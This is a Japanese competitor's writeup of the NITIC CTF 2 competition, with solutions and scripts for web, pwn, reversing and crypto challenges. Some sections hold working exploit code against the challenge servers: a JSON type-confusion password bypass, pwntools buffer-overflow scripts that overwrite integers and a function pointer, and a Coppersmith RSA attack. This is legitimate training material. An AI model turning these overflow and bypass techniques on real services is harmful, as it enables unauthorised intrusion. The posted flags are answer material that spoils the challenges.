NITIC CTF 2 writeup
2021/9/6(日)12:00 ~ 9/7(月)23:59 JST に開催された NITIC CTF 2(https://ctf.waku-waku-club.com/) にソロ(vegctrp)で参加しました。
16問解いて3501pts、正の点数を取った174チーム中14位でした。
web_meta (web, 100pts, 155solves)
htmlファイルを見るだけ。
<meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">
nitic_ctf{You_can_see_dev_too1!}
long_flag (web, 200pts, 154solves)
<span>
、</span>
を除去するだけ。Pythonで書きました。
flag = "<span>n</span><span>i</span><span>t</span><span>i</span><span>c</span><span>_</span><span>c</span><span>t</span><span>f</span><span>{</span><span>J</span><span>y</span><span>!</span><span>H</span><span>x</span><span>j</span><span>$</span><span>R</span><span>d</span><span>B</span><span>$</span><span>u</span><span>A</span><span>,</span><span>b</span><span>$</span><span>u</span><span>M</span><span>.</span><span>b</span><span>N</span><span>7</span><span>A</span><span>i</span><span>d</span><span>L</span><span>6</span><span>q</span><span>e</span><span>4</span><span>g</span><span>k</span><span>r</span><span>B</span><span>9</span><span>d</span><span>M</span><span>U</span><span>-</span><span>j</span><span>Y</span><span>8</span><span>K</span><span>U</span><span>8</span><span>2</span><span>8</span><span>B</span><span>y</span><span>P</span><span>9</span><span>E</span><span>#</span><span>Y</span><span>D</span><span>i</span><span>9</span><span>b</span><span>y</span><span>a</span><span>F</span><span>4</span><span>s</span><span>Q</span><span>-</span><span>p</span><span>/</span><span>8</span><span>3</span><span>5</span><span>r</span><span>2</span><span>6</span><span>M</span><span>T</span><span>!</span><span>Q</span><span>w</span><span>W</span><span>W</span><span>M</span><span>|</span><span>c</span><span>!</span><span>i</span><span>a</span><span>(</span><span>y</span><span>n</span><span>t</span><span>4</span><span>8</span><span>h</span><span>B</span><span>s</span><span>&</span><span>-</span><span>,</span><span>|</span><span>3</span><span>}</span>"
flag = flag.replace("<span>", "").replace("</span>", "")
print(flag)
nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}
password (web, 300pts, 46solves)
jsonでの送受信をしているため、文字列だけでなく文字列のリストを投げることもできる。all([ci != password[i] for ci in c])
を確実に通過するように{'pass': [string.ascii_letters for _ in range(32)]}
を投げれば通る。非想定解法だったらしい。
import requests
import string
import json
dat = {'pass': [string.ascii_letters for _ in range(32)]}
dat = json.dumps(dat)
response = requests.post('http://34.146.80.178:8001/flag', data=dat, headers = {"content-type": "application/json"})
print(response.status_code)
print(response.text)
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
pwn monster 1 (pwn, 200pts, 120solves)
名前入力時にAAA...A
(Aを32個)を入力すると
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
これが
+--------+--------------------+----------------------+
|name | 0x4141414141414141 | AAAAAAAA |
| | 0x4141414141414141 | AAAAAAAA |
|HP | 0x4141414141414141 | 4702111234474983745 |
|ATK | 0x4141414141414141 | 4702111234474983745 |
+--------+--------------------+----------------------+
こうなるので勝てる。
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
pwn monster 2 (pwn, 300pts, 65solves)
HPとATKの和が110を保つように書き換える必要がある。ATKは負の数でもよいので、HPをデカい正の数、ATKをデカい負の数になるように書き換えればよい。
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Checksum: 110
これが
+--------+--------------------+----------------------+
|name | 0x4141414141414141 | AAAAAAAA |
| | 0x4141414141414141 | AAAAAAAA |
|HP | 0x7ffffffffffffd46 | 9223372036854775110 |
|ATK | 0x8000000000000328 | -9223372036854775000 |
+--------+--------------------+----------------------+
Checksum: 110
こうなるので勝てる。
from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *
b = 9223372036854775110
a = (((1<<64) - 1) ^ b) + 111
a = hex(a)[2:]
b = hex(b)[2:]
a = "".join([a[i*2:2*(i+1)] for i in range(len(a)//2)][::-1])
b = "".join([b[i*2:2*(i+1)] for i in range(len(b)//2)][::-1])
send = "41" * 16 + b + a
send = long_to_bytes(int(send, 16))
r = remote('35.200.120.35', 9002, level = 'debug')
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
r.send("\n")
print(r.recvline()) # \n
print(r.recvline()) # welcome
print(r.recvline()) # I'll
print(r.recvline()) # Lets
print(r.recvline()) # +-
print(r.recvline()) # |name
print(r.recvline()) # |
print(r.recvline()) # |HP
print(r.recvline()) # |ATK
print(r.recvline()) # +-
print(r.recvline()) # Check
r.sendline(send)
print(r.recvline()) # Input
while True:
print(r.recvline())
nitic_ctf{buffer_and_1nteger_overfl0w}
pwn monster 3 (pwn, 300pts, 50solves)
cry()
に入っているアドレスを、my_monster_cry()
のものからshow_flag()
のものに書き換えればよい。
ためしに手元のマシンで、print_monster_infomation()
をいじって各関数のアドレスを吐かせるようにしたところ、
+--------+--------------------+----------------------+
|cry() | 0x0000564929cd5a4f | |
|pwnchu_cry() | 0x0000564929cd5a42 | |
|print_title() | 0x0000564929cd5a2f | |
|show_flag() | 0x0000564929cd5993 | |
+--------+--------------------+----------------------+
となった。この表より、cry()
のアドレスから188を引けばshow_flag()
のアドレスに書き換えられそうであることがわかる。
ただし、実際のリモートでの実行時にはcry()
のアドレスから192引いたアドレスに書き換えるとうまくいく。(8バイトアラインメントのせい? よくわかってない)
from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *
r = remote('35.200.120.35', 9003, level = 'debug')
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
r.send("\n")
print(r.recvline()) # \n
print(r.recvline()) # welcome
print(r.recvline()) # I'll
print(r.recvline()) # Lets
print(r.recvline()) # +-
print(r.recvline()) # |name
print(r.recvline()) # |
print(r.recvline()) # |HP
print(r.recvline()) # |ATK
cryfunc = r.recvline() # |cry()
print(cryfunc)
print(r.recvline()) # +-
cryfunc = str(cryfunc).split("|")[2][1:-1]
print(cryfunc)
cryfunc = int(cryfunc, 16)
diff = (0x0000558f9454aa2f - 0x0000558f9454a973)
print(diff) # 188
flagfunc = cryfunc - 192
flagfunc = hex(flagfunc)[2:]
print(flagfunc)
flagfunc = "".join([flagfunc[i*2:2*(i+1)] for i in range(len(flagfunc)//2)][::-1])
print(flagfunc)
send = "41" * 32 + flagfunc + "0000"
send = long_to_bytes(int(send, 16))
r.sendline(send)
while True:
print(r.recvline())
nitic_ctf{rewrite_function_pointer_is_fun}
Excel (misc, 100pts, 133solves)
検索するだけ。
nitic_ctf{plz_find_me}
image_conv (misc, 200pts, 115solves)
白背景に薄い色でflagが書かれている。バケツで黒く塗るだけ。
nitic_ctf{high_contrast}
braincheck (misc, 300pts, 36solves)
気合でbrainf*ckを読む。
>, # memory[2]に入力を格納
[>+>+<<-] # memory[3] += memory[2], memory[4] += memory[2], memory[2] = 0
>>[<<+>>-] # memory[2] += memory[4], memory[4] = 0
<<[-<->] # memory[1] -= memory[2], memory[2] = 0
<----- # memory[1] -= 5
[<+>[-]] # if memory[1] != 0: {memory[0] += 1, memory[1] = 0}
>>[<<+>>-] # memory[1] = memory[3], memory[3] = 0
のような処理の繰り返しになっている。たぶん[<+>[-]]
が呼ばれるまでにmemory[1]が0になっているようなinputが正解なんだろうなあという気持ちになる。あとは頑張る。
nitic_ctf{esoteric?}
protected (rev, 200pts, 105solves)
idaに投げると、入力したパスワードをsUp3r_s3Cr37_P4s5w0Rd
と比較していることがわかる。
nitic_ctf{hardcode_secret}
report or repeat (rev, 300pts, 22solves)
from Crypto.Util.number import long_to_bytes, bytes_to_long
ls = [0xc2b5e93852ec1e72, 0x27ea0f531f754746, 0x2a898c8c6ed757cf, 0x012e7a197b8a86f2, 0x7c9f5b2bd30815ab, 0x58826f3c985dde86, 0x9ef377a56285eaf2, 0x1b71a09e8b10373e, 0x650117b32f7e9dce, 0xf928e1ad2f795c14, 0xa65e121f693a9255, 0x28e33b47dadba441, 0x627c22fa9ce90908, 0x8e45e495862805d2, 0x426458ed66ebe7d2, 0x685191a02170a9ba, 0x7abb33126ca97eff, 0x01047cceede01bde, 0xd3061b78361723cf, 0x0d4a5086985e255e, 0xc22b726e96390c31, 0xf9a944d74cdd310f, 0xb0a67368b940edb7, 0x4ce4b603372e3eef, 0x6254f01074835dcb, 0x846ea7ff5cdf28c1, 0x3d175ba063eb3959, 0x98777b218bcbee97, 0x0670388d4459a9d5, 0xe951440710637bef, 0x330c4a5a3dce2989, 0x81d57f6dd1652132]
ls = [hex(i)[2:].zfill(16) for i in ls]
ls = ["".join([i[x*2 : (x+1)*2] for x in range(len(i)//2)][::-1]) for i in ls]
ls = "".join(ls)
ls = [ls[i*2:(i+1)*2] for i in range(len(ls)//2)]
ls = [int(l, 16) for l in ls]
print(ls)
with open("dat00104020.txt", "r") as dat:
dat00104020 = dat.readlines()
dat00104020 = [int(i[17:19], 16) for i in dat00104020]
with open("ptrdat00104120.txt", "r") as dat:
ptrdat00104120 = dat.readlines()
ptrdat00104120 = [int(i[17:19], 16) for i in ptrdat00104120]
ptrdat00104120 = ptrdat00104120[:-1]
with open("report.pdf.enc", "rb") as inp:
test = inp.read()
pdfcontent = b""
for x in range(len(test)//256):
flag = [0 for _ in range(256)]
for i in range(256):
byte = test[x*256 + i]
loc = ls[i]
p1ind = dat00104020[i]
ptrdat_res = byte ^ loc
ptrdat_ind = ptrdat00104120.index(ptrdat_res)
flag[p1ind] = ptrdat_ind
pdfcontent += bytes(flag)
while pdfcontent[-1] == b"\x00":
pdfcontent = pdfcontent[:-1]
with open("report.pdf", "wb") as out:
out.write(pdfcontent)
nitic_ctf{xor+substitution+block-cipher}
Caesar Cipher (crypto, 100pts, 144solves)
ROT13をしてくれるサイト(https://rot13.com/ とか)でがんばった。
fdhvdu
をROT23するとcaesar
といい感じになる。
nitic_ctf{caesar}
ord_xor (crypto, 300pts, 94solves)
配布されたenc_sample.pyをもとに、enc_flagのi文字目についてiとxorを取るような処理を書きました。
import os
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
with open("./flag", "r") as f:
enc_flag = f.read().strip()
flag = ""
for i in range(len(enc_flag)):
flag += xor(enc_flag[i], i)
print(enc_flag)
print(flag)
nitic_ctf{ord_xor}
tanitu_kanji (crypto, 300pts, 65solves)
format
にしたがって換字を繰り返している。format
は10ビットなので、1024通りの全探索をして、暗号化されたflagについて逆向きに換字を繰り返した結果がフラグフォーマットに一致するものを探せばよい。
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"
def convback(s: str, table: str) -> str:
res = ""
for c in s:
i = table.index(c)
res += alphabets[i]
return res
with open("./flag", "r") as f:
enc_flag = f.read().strip()
for i in range(1024):
format = bin(i)[2:].zfill(10)
flag = enc_flag
for f in format:
if f == "1":
flag = convback(flag, after1)
else:
flag = convback(flag, after2)
if flag[:9] == "nitic_ctf":
print(flag)
nitic_ctf{bit_full_search}
summeRSA (crypto, 300pts, 32solves)
暗号化前の平文(59bytes)のうち、上位の51bytesthe magic words are squeamish ossifrage. nitic_ctf{
まで既知。
ももいろテクノロジーさんの記事を参考にCommersmith's attackをするだけ。
from Crypto.Util.number import long_to_bytes, bytes_to_long
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310
kiti = b"the magic words are squeamish ossifrage. nitic_ctf{"
upbin = bytes_to_long(kiti) << 64
PR.<x> = PolynomialRing(Zmod(N))
f = (x + upbin)^e - c
x0 = f.small_roots(beta=1, X=2^70)
if len(x0):
x0 = x0[0]
pp = x0 + upbin
if pp != 0 and pp^7 == c:
print(long_to_bytes(pp))
nitic_ctf{k01k01!}
アンケート (Welcome, 1pt, 125solves)
アンケートに答える。
nitic_ctf{Thank_you_for_answering_the_questionnaire}